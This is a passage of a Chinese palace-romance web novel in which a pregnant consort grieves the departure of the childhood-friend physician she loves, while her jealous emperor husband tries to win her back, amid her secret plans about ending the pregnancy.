要说长了什么记性的话,那就是意外跌入水中的时候别张嘴呼吸。 “可能……有点怕水?一朝被蛇咬,十年怕井绳嘛。” 她有些不好意思,也许她说不出一二三来,是因为她没啥太大的学问。回头她去多读一读诗词歌赋,说不定还能扯出两句酸诗来。 “那我便命人去把池子里的水都抽干了吧。” “不用,光秃秃的多丑啊,我绕着点走就行。” 泠川说道。 她听见了一阵敲门声,随后便看到秦思昭走了进来。 他手里端着一碗粥,散发出阵阵的米香。 “病中不能吃得太油,反倒给身体造成负担,臣便弄了点药膳送来。” 他直接把那碗粥端到了桌子上,泠川瞥见,他的袖口有一小块的血迹,是自己刚才耳朵尖上的血不小心蹭到他的袖子上了么。 “只待一个月后,臣就辞官回家,或当一郎中,或当一夫子,陛下勿念。” 顾时心里只担忧没了秦思昭,泠川能否顺利生产,完全顾不上因情敌主动退出而感到高兴。 “好,秦大人保重。” 泠川倒是神色中有几分释然。 “臣告退。” 秦思昭浅浅行了礼,便告退了。 顾时搂着她的肩膀,担忧地说道: “泠川,我也不是那么留不得他……我只担心没了他你能不能顺利生产……” “我没事的。” 泠川敷衍道,可她心中却隐隐约约有些不安。 被不受控地卷进了一场情感风波,快速辞官显然是最理智的决定,但她总是忍不住地觉得另有隐情。 他今日的面色无端苍白了许多,恐怕是这几日不眠不休,透支了身体。 这再过一个月就辞官……到底是说给谁听的? 她真想一把抓住秦思昭,好好问一问他心里到底在想什么。 六年不见,就搞得这么神秘,他肯定有什么事瞒着她。 她端起那碗粥,喝了一口。 入口时,她发觉这粥和小时候的味道一模一样,是她娘的手艺,在粥上面点了香油和酱油,也说不上多好喝,可她就是觉得怀念。 她双手捧着碗,低头仔细看了看。 这样的味道,她已经六年没有喝过了。想起来,她娘亲确实有把自己的手艺教给过秦思昭。 她娘亲说过,等以后她和秦思昭成亲了之后,让秦思昭去后厨干脏活累活,她只管坐在前面收钱就行了。 想起往事,泠川的眼神黯淡下来,不禁感叹真是万般皆是命。 顾时瞥了一眼,一碗清淡的粥在他眼中实在是有些寒酸。 “就吃这点东西能行吗?” “我娘说过,生病最好吃点稀的,不能吃太腻歪的东西。” 她小时候发烧,她娘亲就是给她做了一碗这样的粥。 顾时皱着眉说道: “怎么看着不太像宫里的手艺,给我也尝一口。” 泠川没理顾时,一口气把粥全都喝了,她病了后就没吃下什么正经东西,确实也觉得腹中空空,喝完后,她才发现这粥有些药味。 “和生病的人抢吃的,坏。” 泠川翻了个白眼。 “哼,怎么?你吃不惯宫里的菜肴,反而喜欢那个秦思昭的手艺?宫里什么好的没有,一碗破粥,有什么可喝的。” 顾时的语气里又带了几分酸意。 “你怎么知道是他做的?” “猜的。” 顾时把脸撇到一边,他从小就有人伺候,这些杂七杂八的活计他确实从没做过,自然也没法拿厨艺来讨好她,此乃一败。 “他是大夫,知道病人什么能吃,什么不能吃,由他来准备,自然是最妥当的,我吃着也觉得放心些。” 泠川耐着性子解释道,心中却忍不住地想着,秦思昭如此着急辞官,到底是为了什么? 还有假死药一事迟早要爆发,最终到底会走向什么结局? 第66章 “那好吧……” 顾时虽有些不悦,但也忍了下来,这究竟算个什么事,他妻子的一日三餐,全是上不得台面的情夫来做的。 他伸手去抚了下她的脸颊。 “泠川,好好休息,我陪着你。” “怎么?你没自己的事儿可干吗?” “现在你病了,难道不是你最重要么?” “那也用不上你一直陪着我。” 顾时气闷,本想质问是不是他太碍事,影响了她和情夫偷情,但又生生把话憋回去,话到嘴边,又变成了一句: “我就想陪着你,不行吗?” 泠川笑道: “也不是不行。” 她平躺在床上,觉得体力渐渐恢复了些,只是关节还是酸痛不堪。 顾时给她掖了掖被子,即使吃醋也不敢发作,只敢暗自生闷气。 “哎,你别碰我,我关节发酸。” 泠川皱着眉头怨嗔道。 “那我帮你揉揉吧。” 他伸手去揉了揉泠川的胳膊肘。 “这个力道可以吗?” 他怕用力太大,弄疼了她。 “可以,再帮我揉揉腿。” 泠川直接放肆地撩开被子,把腿抬到了他的腿上,中衣的缝隙中露出了一小片白皙的肌肤。 “泠川,我建议你最好还是别这样。” 顾时躲开。 “为什么?” 泠川问道。 顾时轻轻捏了一下她的脸颊,皱起眉头,凑近了说: “明知故问。” 泠川忽然笑了起来,沙哑的声带让她的笑声不太好听。 “也对,是不是这一年你都只能靠手解决啦?” “你这话说得也太直白了……” 顾时被她说得面皮一红。 她直接从后面搂着他的脖子,整个上半身都靠在他的背上,力道跟要掐死他似的。 顾时觉得有些窒息,只得往后仰着,努力呼吸一些空气。 “顾时,你知道吗?春天的时候容易发疯。” “可现在已经是夏天了,你也该消停些了。” 泠川不语,只趴在他后背上,用力勒紧了手臂。 她的袖子很宽松,顺着她的手臂落了下来,露出她白皙,骨感,肌肉线条清楚的小臂,她几乎是肉贴着肉勒着他的喉结。 不巧,顾时打翻了茶杯,茶水飞溅,弄湿了他胸前的一片衣裳,湿痕蛇似的逶迤在他的胸前。 “泠川,你在勾引我么?” 他压低了声音问道。 她张嘴咬了咬他的耳朵。 “想弄死你。” 这微小的刺痛让他感到了一阵快意,惹得他心绪缭乱。 若是平时,他毫无疑问会把这疼痛处理成泠川在向他求欢的信号,可现在,他只能努力地把自己想象成一个自警坚守持戒的高僧。 他的声音像是被热化了一样: “天气热,松开我吧……” “为什么?说出来,你在怕什么?” 她咬住他的耳朵,又悄悄□□着他。 毫无疑问,泠川在坏心眼地捉弄他,逼他说一些羞耻的话。 从前他也经常这样干,只是没想到竟报应到了自己身上,真是风水轮流转,天道好轮回。 泠川贴在他耳边说: “恨死你了……” 泠川又收紧了手上的力道,只是她现在虚弱,顾时本身骨架也宽,她使出十分力气也不痛不痒。 他心中气闷,泠川恐怕是恨他碍事,他还活着一天,就不可能成全她和那个情夫。 她就算心里念着另一个男人,身子还是跟他勾勾搭搭,可真是花心……但转念一想,她要是不花心,恐怕他在她心中连一席之地都没了。 “你现在心里在想什么呢?快点说给我听啊?” 既然她问了,那他便如实说出来算了。 “在想你可真是水性杨花。” 泠川松开了他,忍不住捂着肚子笑了起来。 “哎呦,我抱我的丈夫一下,你说我水性杨花……莫非你不自居是我的丈夫,反而自居是我的情夫么?” 顾时被她说得黑了脸色,她频频挑衅,无非也就是拿捏准了他不会把她怎么样。 果然,他对她的纵容会变成抽到自己头上的鞭子,他就不该这么纵容她。 可事已至此,后悔也晚了,他也只能一错再错地纵容下去。 “你都病成这样了……还是消停消停吧。” 气闷了半天,最终他也只说出这样一句不痛不痒的话。 “给我扇扇子,今天潮热得很。” 泠川随手把一把折扇丢在他脑门上,顾时也只得认命地给她扇了起来。 他扇着扇着,便想起那日泠川病中,秦思昭惨白着脸,一边擦额头上的汗,一边给她扇扇子的样子,心中更是气闷,手上的力道都重了几分。 凭什么……明明一切都好端端的……他和泠川也算是少年夫妻,本来能顺理成章地在一起,可是却被一个可恶的第三者插足了? 怪来怪去,还是只能怪他自己做事太拖拉,总是想考验一下泠川对他的感情,结果杯子一摔便是一道裂痕,再摔便要碎了,覆水难收,无法弥补。 主要责任在他自己身上,他活该,他认命,只是他绝对不可能放弃当泠川的正牌丈夫,她就算再不情愿,也得当他的妻子,这就是命中注定的。 泠川悄悄睁开眼,看见顾时冷着脸给她扇扇子,忍不住觉得好笑,缩进被子里,悄悄笑了出来。 “你笑什么!” 顾时恼羞成怒,掀开了她的被子。 “哈哈哈哈……别逗我……咳咳咳……” 病中的人,即使笑起来也会咳嗽,泠川又咳个不停。 顾时赶紧搂着她的肩膀,去拍她的背,好不容易,咳嗽才停了下来。 “继续给我扇风吧……” 泠川发话,那顾时也只得听命,扇着扇着,她便睡着了。 次日,泠川的身子恢复得不错,便伸了个懒腰,住回了琮翠殿。 她自恃身体底子不错,想活动活动,自己走回去,顾时严词拒绝,强行把她押上了八抬大轿。 “这轿子太闷,我不想坐,换步辇来。” 她看着那台厚重的轿子直叹气,顾时也只得由着她,命人换了步辇,她才终于肯乖乖坐上去。 顾时仔细看着她,明明她还是有些气短,稍微动一下都喘不上气,却硬要逞强走路,真是不让人省心。 琮翠殿有小厨房,更方便秦思昭大展身手,一连三日,他都亲手做饭送来,皆是些上不得台面的家常便饭,却偏偏很合泠川的胃口,顾时看着她欢喜吃饭的样子,是越发地不满了。 一个大男人,三天两头跑来给他的妻子洗手作羹汤,还能安的什么心思? 真是司马昭之心,人尽皆知,真不知道那些嘴快的宫女看见秦思昭为了泠川忙前忙后,在背后要怎么编排呢。 只要让他抓到一个敢传泠川和秦思昭闲话的,杀,没得商量。 他转念一想,秦思昭已经主动提出要辞官,好在他还有那么点眼色,不那么痴迷不悟。知道自己争不过他,主动退出也保全了些体面。 想到这里,顾时的眼神也平和了几分,不再像要杀人似的了。 哼,不过一记升斗小民罢了,不过是主动替他照顾他的妻子罢了,跟他比什么都不算,对他也没什么威胁。 泠川的心就算暂时飞到别人那里去,迟早也还是他的,至少人是他的,她腹中的孩子也是他的。 想到这里,顾时的情绪便和缓了许多,甚至大度地去上朝,留泠川和秦思昭独处。 秦思昭给她把了把脉,温柔笑道: “荣儿姐姐身体底子不错,稍加调理,就能恢复过来。” “那可不是么……毕竟小时候,家里有什么好东西都先紧着我吃。” 泠川得意地笑了起来。 秦思昭从箱子里拿出几个小药瓶,上面做了不同的标记。 “荣儿,你若是觉得喉咙不适,就吃这个药。” 他把那个小药瓶放到了泠川手里,她垂下眼帘,接过了那瓶药。 “若是意外流产了,便吃这个,可以避免大出血。” 他郑重其事地把那个小药瓶交到了泠川手里。 “有堕胎的药么?” 她淡淡地问道。 “有。” 他神色很平静,似乎早有准备,把那瓶药递到了泠川手中。 “是先吃这个堕胎药,再吃这瓶止血的药么?” “是的,可以搭配着使用。” 秦思昭点了点头。 泠川扯起嘴角,勉为其难地笑了一下。 “之前我去问过女医,女医直接让我用铁钩,我实在害怕,没下得去手,还好有你在。” 他的表情一下变得严肃。 “用铁钩是绝对不行的,实在是太危险了。” 秦思昭低下头去,面色苍白如纸,似乎一阵阵地后怕。 “是我有哪里做得不好吗?为什么不告诉我?我们自幼相识,你有什么不能和我说的……干嘛要去那种没有保障的地方,万一你有个什么好歹,你让我怎么办?” 泠川苦笑: “当时面子薄,实在是不好意思告诉你……算了,不提也罢……” 她想,秦思昭一个月后才会走,现在也不是伤感道别的时候,她不想把氛围弄得那么苦情,只想说点高兴的事。 “我想吃油泼面。” 秦思昭怔了一下。 “好。” 泠川面无表情地把这些药收好,把堕胎药和止血药都藏在了暗袋里,这次她不会再弄丢了。 第67章 当天晚上,泠川便吃上了一碗麦香味十足的油泼面。 这不是宫里常用的那种精细到没有香味儿的面粉,不是那种故意炫技,细到嚼不了两口就在口中化开的软烂面条。 是很平凡的家常口味,小葱切碎轻轻放于顶上,又用热油一泼,激出香味来。 她拿起筷子,胃口大开,一口气把面条全都吃了。 秦思昭的白案手艺不错,和她娘的一样。 她还以为这辈子再也吃不到了呢。 泠川面无表情地放下了筷子,顾时就坐在她的对面。 “又是他给你做的?” 顾时焦虑地咬了下嘴唇,说道: “有什么可吃的,看着就没胃口。” “就是家常便饭罢了。” 泠川回答。 她摸了摸自己的小腹,这个孩子她并不想要,但她心中也并不怨恨这个孩子,只是找不到什么非要把这个孩子生下来不可的理由。 秦思昭没有对她的选择发表任何意见,她要堕胎药,他就直接给了,不管这枚药她是吃还是不吃,选择权全部在她自己。 这是她独属于自己的自由,他只是帮了她一把,让她得到了本来就该属于她的*权力。 她看着尚未隆起的小腹想。 虽然她对这孩子的父亲无可奈何,但至少有办法处理掉这个孩子,秦思昭的药能把流产对她的伤害降低到最小。 她斜斜瞥了一眼顾时,她大可以把他变成她流产的元凶,这也可以作为对于他强行限制了她自由的报复。 是他非得要娶她,既然这样,他就得付出代价。 不知何时,顾时走到了她的身后。 他伸出手把她抱在怀里,她落入一个温暖柔软的怀抱中,他在她耳畔说道: “泠川,我真的只希望你好好的。” 他像一只大狗一样把脸埋进她的脖子里,他就是想不通自己到底有哪一点比不上秦思昭。 她把纤细的手伸进他的袖子里,摸着他的手腕,光滑冰凉的触感传上她的指尖。 她想趁这个机会把他哄上床,给她的流产找一个理由。 “顾时,你想不想来做点什么?” 她小声地勾着他,只要他上当,她马上就悄悄吃下那堕胎药。 被她一勾,顾时反倒生气了,直接阴沉着脸,却不敢用力,只轻轻把她推开。 “你身体刚好一点,就想着那档子事!能不能正经点啊。” 他气不过,轻轻咬了她的手腕一口。 “不做就不做,你生气什么?” 泠川翻了个白眼,小声嘟囔道。 “我又不是为了那档子事才和你结婚!” 顾时有些懊恼地侧着身子,抓了抓头发。 他像是做足了心理准备似的,用袖子半掩着脸,没看她的眼睛,只自顾自地一口气说了出来: “我想的是要和你长相厮守,不是一时贪欢。你这是在做什么!嫌自己命太长是不是?” 说完他便真的恼了,别过脸去,一眼都不肯看她。 “哎,别生气了……” 泠川伸手去扒弄他的脸,动作有些轻佻,却被他躲开,依旧是一言不发。 沉默了半晌后,他才开口: “泠川,你究竟把我当成了你的什么人?我觉得你根本就没把我当回事。” 泠川讷讷地缩回了手,心里忽然一阵酸楚。 他确实想和她长相厮守,可她却注定不会回报同样的愿望。 这次她做得太明显没成,但还有下次,总有她能得手的时候,她就不信顾时能一直都这么有定力。 她不会那么轻易就对顾时心软,他气恼又算得上什么?他什么都不是。 “我叫人再搬来一张床,我们分床睡。” 顾时责备地看着泠川,她被他这么一看,莫名其妙地有些心虚,半句话都答不上来。 她理智上觉得自己没错,可却不知为何,却心里觉得有些对不住他。 她摇了摇头,努力把这些干扰她,让她变得软弱的情感从脑海里甩出去,她不想当被情感支配的那种人。 总而言之,她要抛开一切让她变得软弱的东西,她看着顾时,把他想象成一个需要被她消灭掉的敌人。 想要达到目的,她就得对他心狠,她看着他略带责备的眼睛,还是觉得自己没错。 当夜,顾时确实也没和她在一张床上入睡,他言出必行了。 那张临时搬来的床斜挡在正中央,破坏了整个房间的装饰,让原本华丽宽阔的寝殿显得拥挤,原本品味高雅的装饰也因为这张突兀的床,变得像是临时拼凑来的一般。 泠川侧过身,看着他躺着那张突兀的床上,像是赌气一般背对着她,她忽然觉得他怎么就离她那么远。 他的背影在她眼中忽近忽远,和黑暗中万变的浮光融在了一起,泠川只凭借稍纵即逝的意识,领略着睡意的滋味。 这种睡意忽然放大了,整个房间都变得睡意笼罩,可她却无法把自己的目光从他的背影上挪开。 终于,她睡着了,在昏沉中失去了感觉,可她却依然觉得自己能看见他侧躺在床上的背影。 第二天早晨,泠川醒来,依然被睡意笼罩,本能地环视四周,弄清自己躺在了哪里,她只看见顾时被泪水浸湿,有些模糊的背影。 不过这次,他坐在了她的床边。 “你知错了吗?” 他转过头来,用责难的语气,高高在上地对她说出了这句话。 “我何错之有?” 她一直在心底告诉自己没错,本能地反击了回去。 他的脸色更加地苍白了几分。 “我说话没用是不是……你不肯听我的,非得别人说了,你才肯听……” 说着说着,他气得嘴唇发抖,一滴泪不受控制地落下来,他生怕泠川看见,急匆匆用手背抹了。 “好了,你别哭,我错了。” 泠川伸出手去,想摸他的脸,却被他躲开。 “你只是口头认错,实际上根本就没反省,都差点死了一回,还不长记性……” 他抓住她的手腕,说道: “你给我保证,再也不干任何可能会伤害到你身体的事。” 他用了几分力。 “快点给我保证啊!” 他双眼涨红含泪,用力捏了捏她的手腕。 泠川只能讷讷地说道: “好吧,我保证,再也不干伤身体的事了。” 她眼神复杂地看了他一眼,压低了声音说: “这下好了吧!可以放开我了吧!” 他捧起她的脸,温情款款地亲了亲她的侧颊,这个吻一下让泠川备受煎熬。 她觉得自己的睡意瞬间清醒了,心中忐忑不安。 “我去上朝了。” 她沉默着点了点头。 金盏进来,亲手给她穿上了衣裳。 “金盏姐姐,现在这个天气,还穿这么多,也太热了吧……” 琮翠殿内倒是没有什么风言风语,金盏看似散漫,实则嘴很严,对秦思昭一事三缄其口,即便心中如明镜一般,也坚决闭口不提。 “姑娘现在病着,可不能受风。” “我觉得我好了。” “嗓子还是这般沙哑,还没好利索呢。” 她贴在她耳边,小声地说: “秦大人求见,到了该把脉的时候了。” 泠川点点头,说道: “那就让他进来。” 她不知道自己现在是什么心情,两种毫不相同的感情撕扯着她,几乎把她撕成两半。 泠川端坐着,秦思昭款款走进来,目光如同月光一般,散落在她身上。 “荣儿,我可能要提前离开了……” 他眼角也微微泛着红,只是嘴角还带着笑意。 “什么时候?” 泠川心头一颤。 “明日一早。” 她低下头去,声音里带上了哭腔,几乎有些语无伦次。 “那我们今日……是否是此生此世能见的最后一面?我还能再见到你吗?” 他只对她温和一笑,柔声说道: “我曾经以为,今生见你的最后一面,不过是当时只道是平常的下午。” “此生此世我还能再见到你,知道你还活着,已经是要对老天爷千恩万谢,万万不敢再奢求什么。” 泠川的眼泪不由自主地掉下来,落在她的手背上,秦思昭缓缓说道: “我已经把治疗方案悉数教给了女医,荣儿,照顾好自己,绝对不要再做伤害自己的事情。” 他伸手去帮她擦了擦泪,这次,他不再为了避嫌而收回那只想要触碰她的手,指尖轻轻地掠过她的面颊,泪水就夹在他的指缝之中。 他冰凉的手指落在她的脸上,她仰起头,露出不可置信的眼神。 脸上的触感就来自于秦思昭,如此地清晰锋利,独一无二,她绝不可能认错成旁人。 “阿昭,我……” 泠川竟然不知道自己该对他说什么。 “荣儿,不要逞强,好好休息,照顾好自己。” 她不想接受他就像一颗流星一样,短暂地点亮了她,又短暂地从她的世界里划过了。 直觉告诉她,秦思昭有事瞒着她,才如此匆忙地要离开。 那种撕扯心脏的感觉又重了几分,她恨不得把自己从一个人变作两个人,一个留在宫里,另一个今夜就和秦思昭私奔。 她抬起手,擦擦眼泪,追问道: “阿昭,你到底是要去做什么?才这般着急?告诉我好不好?” 秦思昭的眼神忽然变了,从温和变成了决绝。 第68章 看到他的眼睛,泠川似乎一下明白了什么,她吸了吸鼻子,点了点头说道: “是非去不可的事,对吗?” 她声音发颤,却力求语调自然。 “是。” 他只看着她,露出一个无奈的微笑,把手轻轻地搭在了她的脸上。 “我还有东西要收拾,晚上再来和你告别吧。” 泠川摸着自己的脸颊,想留住那珍贵易逝的体温,以至于没有思考余地去全力感受他手心的触感。 她想抓住这来之不易的触感,赶紧把它藏起来逃走,她想竭尽全力把它留住,以免这一点点体温转瞬之间便烟消云散。 泠川一句话都说不出来,只怔怔地看着他转身走了。 她觉得自己的头昏昏沉沉,无论如何都打不起精神,像是一魂一魄都跟着秦思昭走了一般。 女医进来,给她施针。 寒光凛冽的针刺入她苍白且薄的皮肤,她依旧无动于衷。 针灸结束后,泠川自己把衣服穿上,想要出去走走。 她一踏上清洁明亮的青石板路,便觉得百般惆怅,仿佛脚下凝聚了她心中所感受到的那种撕裂的痛感。 她觉得自己竭尽全力从那潭差点淹死她的水里爬出来,爬出来又掉了回去。 她摸了摸自己的脸颊,发现那来自秦思昭的热度,已经在不知不觉之间溜走了。 顷刻之间,泠川感到了一阵揪心的刺痛,这痛感在她体内潜伏已久,一下子突发出来,比水渗透她的衣衫快了不知多少倍。 她捂住心脏,想把这痛感堵在心里,避免它残忍地扩散到她的全身。 “泠川……你怎么看起来这么难受?” 顾时拿着一把做工精致的遮阳伞,给她打伞,为她遮住这毒辣炙烤的阳光。 她不语,只低着头。 他搂着她的肩膀,让她靠在他的怀里,以此来安慰她。 她一下产生了反抗情绪,猛地将他推开,却腰膝酸软,虚弱难当,一时脚滑,直挺挺地向后摔去。 顾时眼疾手快,连忙搂住了她的后腰,看着她的眼睛,蹙眉说道: “不愿意抱就不愿意吧,想推开我也可以,只是弄伤了自己就不好了。” 他皱着眉头,扶着她站稳。 “女医说我胎像不稳,要是摔一跤,我可能就会流产。” 泠川淡淡地说。 “泠川……你别吓唬我……” 他的手用力了几分,生怕她再站不稳,若是刚才结结实实摔了一跤,那后果当真不堪设想。 “这也没办法,不是吗?” 泠川心想,只要自己提前吃下堕胎药,再假模假式地摔一跤,照样能含混过去,顾时也不会发现什么。 “我想在花园里走走。” 日头毒辣,他怕她晒坏了,只好一只手给她打着伞,另一只手扶着她,和她一起慢慢悠悠地在花园里晃荡。 他犹豫几次,最终开口: “今天你的情绪这般不好,是因为什么……” 他咬了咬下唇,面露不快地问: “是因为秦思昭他要走么?” “怎么?你知道了?” 泠川斜着眼看他,眼底说不上是什么情绪。 “嗯,他跟我禀报过了,已经辞官,马上就会离开这里。” 顾时蹙着眉,摸了摸她的侧脸,泠川如同应激反应一般,把他的手打开。 “怎么,你不愿他走么?” “不是,我盼着他赶紧走……他就是个二傻子……” 她沉闷地背过去,坐在了一处青石上,顾时只得站着给她打伞。 泠川心想,秦思昭他真是傻,明明前途光明坦荡,有好好的状元不当,为什么偏要跟她扯上关系呢…… 她什么都给不了他,根本不值得他冒着杀头的风险,为她做这么多…… 顾时伸出手去摸了摸她的后脑,轻声安慰道: “别担心,我没那么小肚鸡肠。” 既然秦思昭已经主动辞官,适可而止,不再插足他们的感情,那他自觉也没什么可追着计较的,那样只会惹泠川心烦。 毕竟他救了泠川的命,她对他有点好感和不舍也是正常的。 泠川懊恼地抓了抓头发,一言不发,眼下薄薄的皮肤透出青色的血管。 她低声怯怯说道: “凡是过失,皆是我犯下的,你要怪便怪我一个,莫要牵连旁人。” 顾时尚且不懂她言外之意,只把她揽入怀中。 “我也大度一回,你们好好道别吧。” 几种完全不同的思绪一起团进泠川的脑海,让她心里糟乱,她面露愠色,一句话也不说,只心不在焉地点头。 顾时耐着性子,陪着她,哄着她,一直到了傍晚。 泠川不肯对他说什么话,也不肯跟他袒露什么心声,若是他问她,她只会敷衍两句,继续陷入沉默。 他疑心泠川是否是恼了他,便想解释秦思昭不是他逼走的,他没再给他施压,也没故意用小伎俩膈应他。 可开口几次,泠川还是心不在焉。 他觉得她真讨厌,明明他对她和秦思昭有私情一事已经够大度了,她还是得寸进尺,总不肯对他满意。 顾时看着一树绚烂火红的凌霄花在树上吹喇叭,不禁叹了口气。 他安慰自己,她无非也就是低沉这么一阵儿,过了这个劲头便好了。 等他们的孩子出生,没过几年就能牙牙学语,叫他爹,叫她娘。 到时候有个小孩子每日在她耳畔叽叽喳喳,她总能把一个没见过几面的小情夫抛到脑后,心里多装一装他这个正头丈夫吧。 毕竟他才是孩子的爹。 即使泠川和秦思昭的奸情败露,顾时也没有怀疑过这个孩子的血统,因为泠川对这个孩子一直忽视,有些厌烦,且不怎么爱护。 如此可见,孩子肯定是他的。 他倒是有这点自知之明。 眼看着时辰差不多,顾时心知在这种时候越是找茬跟她吵架,越是惹她厌烦不快,便很有眼力劲儿地主动提出去书房处理政务,把时间让给秦思昭。 反正他再怎么跟她爱得死去活来,也就这么一小会儿了,他和泠川还有一辈子呢。 他犯不上跟秦思昭计较。 门被吱呀一声打开,秦思昭只穿了一身简朴的靛蓝色衣裳,跟琮翠殿华丽的装饰格格不入。 这一身单薄简朴的衣裳显得他皮肤洁白光滑,五官清朗端正,靛蓝色的单薄布料,如同丹青一般勾勒出他的肩膀,手肘的形状,画出一个清秀,洁净的年轻男子,又用余剩下的一点点墨水,给他点上了眼角下的泪痣。 “秦思昭……” 泠川不知道该跟他说什么,只怯生生地叫了一下他的名字。 她没有任何打扮,只用一根簪子把黑发尽数挽起来,不施脂粉,她心绪杂乱。根本顾不上自己现在看起来美不美。 她猛然瞥见镜子里自己的脸,肤色已经有些黯淡,眼下是两道泪沟,深深地凹陷下去,能看到皮肤下面青色的血管。 她没画眉毛,眼角向下勾着的尖线条被淡眉衬托得越加明显,更显得有几分冷意,看起来就像个薄情寡恩之人。 她想,自己今天应该是不美的。 她没法像舞台上唱戏的花旦一样,先唱一首绮丽凄婉的词,再优雅美丽地颜面啼哭,挥着长长的美丽水袖跟注定不能在一起的有情人道别。 她抬眼看了看秦思昭,睫毛微微一颤。 他也许是悄悄打扮过的,挑了一身简朴又抬气色的衣裳。 可她却憔悴得不得了,丝毫没有掩饰。 她坐到镜子前面,掏出一根青黛,手指哆哆嗦嗦,有些生疏地给自己画起了眉毛。 两弯柳叶眉让她的双眼变得柔和了一些,她抬起干涩且满布红血丝的双眼,看着秦思昭。 如无意外,今日便是他们此生此世的最后一面,她心中顿时百感交集,几种完全相反的情绪,此时凝成了一股力,把她猛地往前推。 这种力支配了她,驱动着她。 她猛地从椅子上站起来,三步并两步,迈开步子,大步流星地走上前去。 秦思昭清秀的面容离她越来越近,她的视线中只有他一个,除了他之外,所有的事物都变得模糊扭曲了。 她往前一扑,一个单薄的身体便猛地闯进了他的怀里,陶金荣直接把他推到了门上,发出嘎吱嘎吱的响声,他的身子摸起来没有看起来那般单薄。 手上的触感让陶金荣完全丧失了思考能力,她的双眼锁死了他眼角那颗泪痣,此时此刻她早已顾不上什么纲理伦常,更听不见门外越来越近的脚步声。 她的双手直接覆在他的脸上,鼻尖鲁莽地戳了秦思昭的鼻梁一下。 热意直接笼罩他的面庞,秦思昭的脸上瞬间浮起一片红晕。 他从未和人有过如此亲密的接触,一时怔住,心跳得飞快,脸颊如同火烧云似的滚烫,四肢失灵,简直不知道该把手放在什么位置,只能任由她摆弄。 她看见秦思昭闭上了眼睛,没有丝毫拒绝的意思,只是在虔诚地等着她吻他。 她的鼻梁和他的鼻梁重叠在一起,她感受到他紧张地屏住了呼吸,她的唇离他的越来越近,眼见着就要覆缠在了一起。 此时此刻,门外却传来了一个情绪不明的声音。 第69章 “泠川……” 就在她即将要与秦思昭双唇相接的一刹那,门外却传来了顾时的声音。 他没说什么别的,只是叫了她的名字,可这一句简短的话已经足够吓得她后退连连,理智重回大脑。 泠川才发现,自己差点犯下了一个大错误,她的心脏砰砰直跳,她捂着胸口,心有余悸,幸好她没进行到最后一步。 “对不起,你忘了我吧……” 她怯怯地说道,因羞愧而低下了头,她怎么能做出这么不理智的事呢…… 她不该引诱他的,秦思昭救她是出于幼时的情谊,还有她母亲对他的恩惠,如今他救她一命,他们两个也算是两清,此生此世再无什么牵扯。 都已经到了离别的时候,她不该再让他多想。 她十三四岁时不过是一副假小子的模样,能让比她还小一岁的秦思昭对她有什么男女方面的想法呢…… 她思来想去,觉得他根本没谈情说爱过,在这方面什么都不懂,对她未必就是男女之情,她未免也太贪心不足,无理取闹了。 泠川越想越觉得惭愧,忽然,下巴一热,那颗小泪痣一下闯入了她的视线,秦思昭的面孔瞬间放大了无数倍。 他温热柔软的嘴唇生疏地覆盖在了她的唇上,另一只手放在她的背上,把她抱得越发紧了。 秦思昭捧着她的下巴,直白生疏,略带鲁莽地吻了她。 还好她方才没往唇上涂胭脂……陶金荣只觉理智被搅得稀乱,方寸大乱,简直不知天地为何物。 “对不起,只有这个不能答应你。” 不知过了多久,秦思昭才把她松开,微微笑着对她说道。 他的面颊浮着一片粉色,直直连到耳朵尖上,像一片粉霞,双眼湿漉漉的,怜爱地看着她,眸子里尽是说不清道不明的情绪。 他的侧颊上有一道黑线,是她刚刚用青黛画的眉,无意中蹭到了他的脸上。 她怔怔地,回不过神来,只用帕子掩住了自己的唇,试图留住这个吻。 泪水忽然掉了线,啪嗒啪嗒地夺眶而出。 秦思昭坐在镜子前面,用袖子蹭掉了粘在他脸上的青黛,确认自己看起来没有什么异常。 他伸出手去,擦掉了她的眼泪。 “荣儿,有缘再会。” 他得寸进尺地吻了吻她的额头,柔情款款地看了她最后一眼,转过身去,头也不回地走了。 顾时就站在外面,见秦思昭出来后,他便急匆匆地进去,二人擦肩而过。 秦思昭打包好了行李,最后低下头去,用剪刀四四方方地裁下自己袖子上的那一小块布料。 剪下来后,他把那四四方方的靛蓝色布料展开,上面擦着一块青黑的污渍,那是荣儿眉上的青黛,他对着光仔细看了看,如获至宝一般地将它叠整齐后塞到香囊里,贴身收好。 不能再拖了,他必须快速去集聚了医者药师的青剂堂。 秦思昭毫不犹豫地出发了。 顾时匆匆地进了泠川的房内,他心中也知她现在心情肯定好不了哪去,便也不作声惹她心烦。 她卧在床上,拉上了半透明的帷帐,用被子把头蒙起来,一言不发。顾时坐在椅子上,也不叨扰她,只静静陪着。 终于,泠川咳嗽了一声,顾时赶紧把茶水递进了帷帐中。 “茶略有些凉了,你若是想喝热的,我再命人泡一壶茶来。” 她实在没心情和顾时说话,接过来喝了一口后,又把杯子递给了他。 到了晚饭时候,顾时把宫廷样式的晚饭端到了她床边的茶几上,上面有金银馒头,燕窝粥等几样吃食,她却理都不理,完全没胃口似的。 “泠川,你一时想不开,我也能理解,可是你也不能把自己弄得茶不思饭不想的……” 见泠川不肯吃饭,顾时便止不住地气闷。 不过是因为一个秦思昭,一个连面首都算不上的野男人,她便把自己弄成这样,真是让他这个丈夫看了就觉得来气。 若是他走了,泠川也会这般茶饭不思么?还是说她得敲锣打鼓,欢天喜地地把他送走? 他撩起她的帷帐,见她的鬓边有了一根细小的白发,他咬了咬牙,只恨这根白发不是为他而生。 “泠川,至少吃一点吧。” 她扫了一眼茶几上的精致菜肴,咳嗽了两声说: “没胃口。” 她把头闷进被子里,瓮声瓮气地说: “顾时,你别管我,我无非也就是别扭个几天罢了,过了这一阵儿就好了。” “可是你现下本就身子不好,再不吃饭哪行呢?” 他见泠川还是不肯理会他,便闹起了别扭。 “怎么?你一个有夫之妇,倒在这里为了个野男人遗憾上了?人家过几年有了新生活,娶上几房妻妾,早就忘了你是谁了,少在这里自作多情。” 顾时见她心不在焉,六神无主的样子,真是越想越气。 这算个什么事,简直荒唐!泠川因为和情夫掰了而感到失落,结果倒是自己这个丈夫要来哄她,恐怕上下五千年都找不出这样窝囊的丈夫。 她用袖子擦了擦脸上的泪痕。 “顾时,你别误会,我对他没有那方面的意思,我只是觉得愧疚,他原本是状元,前途光明万丈,可现在为了救我,前途尽毁,害得自己当不成官了。” 她皱着眉头,假话说得情真意切: “明明那日是我自己脚滑摔下去的,最后我倒没事,反倒害得他当不成官,我只是对他愧疚而已,哪有什么男女之情。” “那天你摔进池子里,当真是意外么?” 他小心翼翼地旁侧敲击,他心底只怕她是主动求死。 